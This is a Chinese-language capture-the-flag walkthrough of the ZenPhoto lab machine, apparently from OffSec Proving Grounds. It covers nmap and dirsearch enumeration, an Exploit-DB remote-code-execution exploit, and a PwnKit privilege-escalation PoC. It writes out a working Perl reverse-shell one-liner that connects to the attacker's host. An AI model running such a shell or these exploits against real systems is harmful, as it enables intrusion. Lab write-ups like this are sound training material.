ZenPhoto pg walkthrough Intermediate

nmap

nmap -p- -A -sS 192.168.128.41
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-13 07:17 UTC
Nmap scan report for 192.168.128.41
Host is up (0.071s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 83:92:ab:f2:b7:6e:27:08:7b:a9:b8:72:32:8c:cc:29 (DSA)
|_  2048 65:77:fa:50:fd:4d:9e:f1:67:e5:cc:0c:c6:96:f2:3e (RSA)
23/tcp   open  ipp     CUPS 1.4
|_http-server-header: CUPS/1.4
| http-methods:
|_  Potentially risky methods: PUT
|_http-title: 403 Forbidden
80/tcp   open  http    Apache httpd 2.2.14 ((Ubuntu))
|_http-server-header: Apache/2.2.14 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/13%OT=22%CT=1%CU=31646%PV=Y%DS=4%DC=T%G=Y%TM=6784
OS:BE54%P=x86_64-pc-linux-gnu)SEQ(SP=C6%GCD=1%ISR=D2%TI=Z%CI=Z%II=I%TS=8)OP
OS:S(O1=M578ST11NW6%O2=M578ST11NW6%O3=M578NNT11NW6%O4=M578ST11NW6%O5=M578ST
OS:11NW6%O6=M578ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)EC
OS:N(R=Y%DF=Y%T=40%W=16D0%O=M578NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1720/tcp)
HOP RTT      ADDRESS
1   69.93 ms 192.168.45.1
2   69.91 ms 192.168.45.254
3   70.59 ms 192.168.251.1
4   71.42 ms 192.168.128.41

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.97 seconds

访问80端口 说是正在开发中



dirsearch扫描一下发现有test路径



上去看看

没啥东西

我们递归扫描

test路径 dirsearch -u http://192.168.128.41/test/

果不其然发现了一些新的东西

发现都是空文件夹

回到nmap

发现23 ipp端口暴露了版本号

搜索exp

https://www.exploit-db.com/exploits/41233 搜到个这个

但是好像打不了

卡了一小会

我拿bp抓包再次看了看/test/index.php

发现还有个路径 我们没发现

访问这个路径 我们就发现了后台

尝试弱口令admin admin

发现登录不上去

于是上网查找这个cms的漏洞 发现有好多

慢慢找 最终发现了这个rce 的exp

https://www.exploit-db.com/exploits/18083

rce成功！！！！！



尝试反弹shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.45.250:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

反弹成功

提权环节 发现一个比较特别的可执行suid 文件! X



也不知道是个啥东西

查看版本看看具体内容

上网搜exp

发现了一个

https://www.exploit-db.com/exploits/45697

好像不太行

看看数据库密码



登上去看看有啥

发现了admin的密码 但是我爆破了半天发现跑破不出来

再看看有无其他线索

在linpeas的帮助下 我们发现了sudo的版本过低

提权脚本

https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c



提权成功